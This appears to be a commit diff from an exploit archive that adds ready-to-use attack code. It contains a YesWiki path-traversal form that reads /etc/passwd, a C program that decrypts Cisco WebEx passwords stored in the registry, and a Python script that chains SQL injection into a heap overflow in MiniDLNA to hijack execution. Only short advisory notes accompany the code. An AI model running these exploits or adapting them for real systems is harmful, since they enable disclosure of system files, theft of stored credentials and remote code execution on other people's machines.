<!-- Open Browser: http://127.0.0.1/vul_test/yeswiki/wakka.php?wiki=HomePage/diaporama&template=/../../../../../../../../../../../../etc/passwd
|
||||||
|
--><br>
|
||||||
|
# Exploit Code<br>
|
||||||
|
# ===========================================
|
||||||
|
<br><br>
|
||||||
|
|
||||||
|
<form name="yeswiki_traversal2_poc" action="http://127.0.0.1/vul_test/yeswiki/wakka.php" method="GET">
|
||||||
|
<input type="hidden" name="wiki" value="HomePage/diaporama">
|
||||||
|
Target: Edit HTML Code<br>
|
||||||
|
File: <input type="text" name="template" value="/../../../../../../../../../../../../etc/passwd"><br>
|
||||||
|
|
||||||
|
<input type="submit" value="Exploit">
|
||||||
|
</form>
|
||||||
|
<!-- Auto Sumbit
|
||||||
|
<script type="text/javascript">document.forms.yeswiki_traversal2_poc.submit();</script>
|
||||||
|
-->
|
||||||
118
platforms/windows/local/38668.c
Executable file
118
platforms/windows/local/38668.c
Executable file
|
|
@ -0,0 +1,118 @@
|
||||||
|
source: http://www.securityfocus.com/bid/61304/info
|
||||||
|
|
||||||
|
Cisco WebEx One-Click Client is prone to an information disclosure vulnerability.
|
||||||
|
|
||||||
|
Successful exploits may allow an attacker to disclose sensitive information such as stored passwords; this may aid in further attacks.
|
||||||
|
|
||||||
|
/*
|
||||||
|
WebEx One-Click Registry Key Decryptor
|
||||||
|
brad.antoniewicz@foundstone.coma
|
||||||
|
|
||||||
|
compile with gcc -o webex-onedecrypt -lssl webex-onedecrypt.c
|
||||||
|
|
||||||
|
Thanks to https://code.google.com/p/tps-cripto-itba/source/browse/trunk/src/criptography
|
||||||
|
for making life easy
|
||||||
|
|
||||||
|
see comments below
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <openssl/aes.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
unsigned char *
|
||||||
|
aes_ofb_encrypt(unsigned char * text, int length, unsigned char * key, unsigned char * iv)
|
||||||
|
{
|
||||||
|
unsigned char * outbuf = calloc(1,length);
|
||||||
|
int num = 0;
|
||||||
|
|
||||||
|
unsigned char liv[16];
|
||||||
|
|
||||||
|
memcpy(liv,iv,16);
|
||||||
|
|
||||||
|
AES_KEY aeskey;
|
||||||
|
|
||||||
|
//memset(outbuf, 0, 8);
|
||||||
|
|
||||||
|
AES_set_encrypt_key(key, 256, &aeskey);
|
||||||
|
|
||||||
|
AES_ofb128_encrypt(text, outbuf, length, &aeskey, liv, &num);
|
||||||
|
|
||||||
|
return outbuf;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char *
|
||||||
|
aes_ofb_decrypt(unsigned char * enc, int length, unsigned char * key, unsigned char * iv)
|
||||||
|
{
|
||||||
|
unsigned char * outbuf= calloc(1,length);
|
||||||
|
int num = 0;
|
||||||
|
|
||||||
|
unsigned char liv[16];
|
||||||
|
|
||||||
|
memcpy(liv,iv,16);
|
||||||
|
|
||||||
|
AES_KEY aeskey;
|
||||||
|
|
||||||
|
|
||||||
|
AES_set_encrypt_key(key, 256, &aeskey);
|
||||||
|
|
||||||
|
AES_ofb128_encrypt(enc, outbuf, length, &aeskey, liv, &num);
|
||||||
|
|
||||||
|
return outbuf;
|
||||||
|
}
|
||||||
|
void main() {
|
||||||
|
/*
|
||||||
|
This value is from
|
||||||
|
HKEY_CURRENT_USER\Software\WebEx\ProdTools\Password
|
||||||
|
*/
|
||||||
|
unsigned char * regVal = "\xcc\x6d\xc9\x3b\xa0\xcc\x4c\x76\x55\xc9\x3b\x9f";
|
||||||
|
/*
|
||||||
|
This value is from
|
||||||
|
HKEY_CURRENT_USER\Software\WebEx\ProdTools\PasswordLen
|
||||||
|
*/
|
||||||
|
int regLength = 12;
|
||||||
|
|
||||||
|
/*
|
||||||
|
This value is a combination of these two registry keys:
|
||||||
|
HKEY_CURRENT_USER\Software\WebEx\ProdTools\UserName
|
||||||
|
HKEY_CURRENT_USER\Software\WebEx\ProdTools\SiteName
|
||||||
|
|
||||||
|
Basicaly the username and the sitename padding to 32 characters, if the
|
||||||
|
two dont add up to 32 characters, its just repeated until it fits
|
||||||
|
*/
|
||||||
|
unsigned char key[32] = "braantonsiteaa.webex.com/siteaab";
|
||||||
|
|
||||||
|
/*
|
||||||
|
The IV is static, particularly complex value of 123456789abcdef....
|
||||||
|
*/
|
||||||
|
unsigned char iv[16] = { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12 };
|
||||||
|
|
||||||
|
/*
|
||||||
|
These are just for testing, you'd probably not have the password :)
|
||||||
|
*/
|
||||||
|
unsigned char * password = "bradbradbrad";
|
||||||
|
int pwLength = strlen((char *)password);
|
||||||
|
|
||||||
|
unsigned char * enc = NULL;
|
||||||
|
unsigned char * enc2 = NULL;
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
|
||||||
|
printf("Reg Key Value = ");
|
||||||
|
enc = aes_ofb_encrypt(password, pwLength, key, iv);
|
||||||
|
for(i=0;i<pwLength;i++) {
|
||||||
|
printf("%02x ", enc[i]);
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
|
||||||
|
printf("Password = ");
|
||||||
|
enc2 = aes_ofb_decrypt(regVal, regLength, key, iv);
|
||||||
|
for(i=0;i<regLength;i++) {
|
||||||
|
printf("%c", enc2[i]);
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
81
platforms/windows/remote/38667.py
Executable file
81
platforms/windows/remote/38667.py
Executable file
|
|
@ -0,0 +1,81 @@
|
||||||
|
source: http://www.securityfocus.com/bid/61282/info
|
||||||
|
|
||||||
|
ReadyMedia is prone to a remote heap-based buffer-overflow vulnerability.
|
||||||
|
|
||||||
|
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
|
||||||
|
|
||||||
|
ReadyMedia prior to 1.1.0 are vulnerable.
|
||||||
|
|
||||||
|
#!/usr/bin/env python
|
||||||
|
#AAAAinject.py
|
||||||
|
# Author: Zachary Cutlip
|
||||||
|
# zcutlip@tacnetsol.com
|
||||||
|
# twitter: @zcutlip
|
||||||
|
#This script injects a buffer overflow into the ALBUM_ART table of
|
||||||
|
#MiniDLNA's SQLite database. When queried with the proper soap request,
|
||||||
|
#this buffer overflow demonstrates arbitrary code execution by placing a
|
||||||
|
#string of user-controlled 'A's in the CPU's program counter. This
|
||||||
|
#affects MiniDLNA version 1.0.18 as shipped with Netgear WNDR3700 version 3.
|
||||||
|
import math
|
||||||
|
import sys
|
||||||
|
import urllib,socket,os,httplib
|
||||||
|
import time
|
||||||
|
from overflow_data import DlnaOverflowBuilder
|
||||||
|
headers={"Host":"10.10.10.1"}
|
||||||
|
host="10.10.10.1"
|
||||||
|
COUNT=8
|
||||||
|
LEN=128
|
||||||
|
empty=''
|
||||||
|
overflow_strings=[]
|
||||||
|
overflow_strings.append("AA")
|
||||||
|
overflow_strings.append("A"*LEN)
|
||||||
|
overflow_strings.append("B"*LEN)
|
||||||
|
overflow_strings.append("C"*LEN)
|
||||||
|
overflow_strings.append("D"*LEN)
|
||||||
|
overflow_strings.append("A"*LEN)
|
||||||
|
overflow_strings.append("\x10\x21\x76\x15"*(LEN/4))
|
||||||
|
overflow_strings.append("\x10\x21\x76\x15"*(LEN/4))
|
||||||
|
overflow_strings.append("D"*LEN)
|
||||||
|
overflow_strings.append("D"*LEN)
|
||||||
|
overflow_strings.append("D"*LEN)
|
||||||
|
path_beginning='/AlbumArt/1;'
|
||||||
|
path_ending='-18.jpg'
|
||||||
|
details_insert_query='insert/**/into/**/DETAILS(ID,SIZE,TITLE,ARTIST,ALBUM'+\
|
||||||
|
',TRACK,DLNA_PN,MIME,ALBUM_ART,DISC)/**/VALUES("31337"'+\
|
||||||
|
',"PWNED","PWNED","PWNED","PWNED","PWNED","PWNED"'+\
|
||||||
|
',"PWNED","1","PWNED");'
|
||||||
|
objects_insert_query='insert/**/into/**/OBJECTS(OBJECT_ID,PARENT_ID,CLASS,DETAIL_ID)'+\
|
||||||
|
'/**/VALUES("PWNED","PWNED","container","31337");'
|
||||||
|
details_delete_query='delete/**/from/**/DETAILS/**/where/**/ID="31337";'
|
||||||
|
objects_delete_query='delete/**/from/**/OBJECTS/**/where/**/OBJECT_ID="PWNED";'
|
||||||
|
def build_injection_req(query):
|
||||||
|
request=path_beginning+query+path_ending
|
||||||
|
return request
|
||||||
|
def do_get_request(request):
|
||||||
|
conn=httplib.HTTPConnection(host,8200)
|
||||||
|
conn.request("GET",request,"",headers)
|
||||||
|
conn.close()
|
||||||
|
def build_update_query(string):
|
||||||
|
details_update_query='update/**/DETAILS/**/set/**/ALBUM_ART=ALBUM_ART'+\
|
||||||
|
'||"'+string+'"/**/where/**/ID="31337";'
|
||||||
|
return details_update_query
|
||||||
|
def clear_overflow_data():
|
||||||
|
print "Deleting existing overflow data..."
|
||||||
|
request=build_injection_req(details_delete_query)
|
||||||
|
do_get_request(request)
|
||||||
|
request=build_injection_req(objects_delete_query)
|
||||||
|
do_get_request(request)
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
def insert_overflow_data():
|
||||||
|
print("Setting up initial database records....")
|
||||||
|
request=build_injection_req(objects_insert_query)
|
||||||
|
do_get_request(request)
|
||||||
|
request=build_injection_req(details_insert_query)
|
||||||
|
do_get_request(request)
|
||||||
|
print("Building long ALBUM_ART string.")
|
||||||
|
for string in overflow_strings:
|
||||||
|
req=build_injection_req(build_update_query(string))
|
||||||
|
do_get_request(req)
|
||||||
|
clear_overflow_data()
|
||||||
|
insert_overflow_data()
|
||||||
Loading…
Add table
Reference in a new issue